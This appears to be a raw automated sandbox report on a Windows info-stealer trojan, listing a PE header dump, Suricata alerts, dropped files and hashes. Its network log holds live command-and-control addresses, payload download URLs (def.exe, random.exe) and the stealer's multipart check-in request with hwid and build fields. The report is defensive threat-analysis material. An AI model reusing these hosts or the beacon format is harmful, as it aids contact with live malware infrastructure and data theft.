2a 00 00 c0 24 00 00 f6 29 00 00 7c 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 7a 70 61 67 78 73 62 70 00 10 00 00 00 c0 4e 00 00 04 00 00 00 72 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 d0 4e 00 00 22 00 00 00 76 2b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKEHDGDGHCBGCAKFIIIHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 44 35 30 45 43 31 31 38 32 36 41 32 31 37 36 32 31 38 33 38 36 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 73 74 6f 6b 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 45 48 44 47 44 47 48 43 42 47 43 41 4b 46 49 49 49 2d 2d 0d 0a Data Ascii: ------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="hwid"3D50EC11826A2176218386------DBKEHDGDGHCBGCAKFIIIContent-Disposition: form-data; name="build"stok------DBKEHDGDGHCBGCAKFIII--

Source: Joe Sandbox View	IP Address: 104.21.64.80 104.21.64.80
Source: Joe Sandbox View	IP Address: 185.215.113.206 185.215.113.206

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49699 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49702 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49704 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49701 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49710 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49716 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49700 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:49725 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.7:49732 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 47Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=1NJCAY6KW2V3CSZE6R6User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12850Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=FGYAJOUG1YWUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15034Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=NUYNOCHGBM5XQC5AUUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20395Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GDCYUZ3107FFA62X7User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1233Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=WFNKAJ7CPXUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 552633Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 82Host: grannyejh.lat
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: sweepyribs.lat
Source: global traffic	DNS traffic detected: DNS query: grannyejh.lat

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: grannyejh.lat

Source: Y41xQGmT37.exe, 00000000.00000003.1520789928.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: Y41xQGmT37.exe, 00000000.00000003.1520789928.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/6
Source: Y41xQGmT37.exe, 00000000.00000003.1521372409.00000000058BB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe;d
Source: Y41xQGmT37.exe, 00000000.00000003.1521447129.00000000010D5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exeS
Source: Y41xQGmT37.exe, 00000000.00000003.1521156032.0000000001110000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1521203468.000000000111B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16:80/steam/random.exe
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/A
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/H
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp, PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000F5E000.00000004.00000020.00020000.00000000.sdmp, PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php-
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php/
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php1
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpA
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FC3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpm
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe, 0000000A.00000002.1689307962.0000000000FB9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/ws
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: Y41xQGmT37.exe, 00000000.00000003.1349498615.00000000058F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: Y41xQGmT37.exe, 00000000.00000003.1377008854.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: Y41xQGmT37.exe, 00000000.00000003.1438202038.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1414741299.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/
Source: Y41xQGmT37.exe, 00000000.00000003.1438202038.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/L
Source: Y41xQGmT37.exe, 00000000.00000003.1397704572.00000000010C9000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1327174091.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1438202038.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1438308547.00000000010CB000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1414741299.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1327259715.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/api
Source: Y41xQGmT37.exe, 00000000.00000003.1438308547.00000000010CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apimn
Source: Y41xQGmT37.exe, 00000000.00000003.1327174091.00000000058BB000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1327259715.00000000058BD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/apitone
Source: Y41xQGmT37.exe, 00000000.00000003.1438202038.0000000001137000.00000004.00000020.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1414741299.0000000001137000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat/k
Source: Y41xQGmT37.exe, 00000000.00000003.1414741299.0000000001129000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grannyejh.lat:443/api
Source: Y41xQGmT37.exe, 00000000.00000003.1377008854.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: Y41xQGmT37.exe, 00000000.00000003.1350819039.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: Y41xQGmT37.exe, 00000000.00000003.1350819039.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.all
Source: Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: Y41xQGmT37.exe, 00000000.00000003.1303740437.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303814101.00000000058FD000.00000004.00000800.00020000.00000000.sdmp, Y41xQGmT37.exe, 00000000.00000003.1303686951.00000000058FF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: Y41xQGmT37.exe, 00000000.00000003.1377008854.00000000058B7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: Y41xQGmT37.exe, 00000000.00000003.1350819039.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: Y41xQGmT37.exe, 00000000.00000003.1350819039.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: Y41xQGmT37.exe, 00000000.00000003.1350819039.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: Y41xQGmT37.exe, 00000000.00000003.1350819039.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: Y41xQGmT37.exe, 00000000.00000003.1350819039.00000000059D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.7:49725 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: Y41xQGmT37.exe	Static PE information: section name:
Source: Y41xQGmT37.exe	Static PE information: section name: .idata
Source: Y41xQGmT37.exe	Static PE information: section name:
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name:
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name: .idata
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: section name:
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe.0.dr	Static PE information: section name:
Source: PSWNUEKNC3FPT2DCN2C27VPRVU.exe.0.dr	Static PE information: section name: .idata

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\PSWNUEKNC3FPT2DCN2C27VPRVU.exe 15EE29E0C43B3388D79D2202698A751AA77F6226F0F5249D118E6522115A2A18
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe B2759942F6A68E744EE51FB4518490BBD4499FBDA2E2F84DA4881781655CBDE9

Source: Y41xQGmT37.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: Y41xQGmT37.exe	Static PE information: Section: ZLIB complexity 0.9973980629280822
Source: Y41xQGmT37.exe	Static PE information: Section: kohmmiqt ZLIB complexity 0.9946014142824358
Source: RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.0.dr	Static PE information: Section: aviwlvzz ZLIB complexity 0.9948156627643504

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@2/3

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\RTE6Q2HDLNW1RMMKJZSAMCQ5BNP.exe

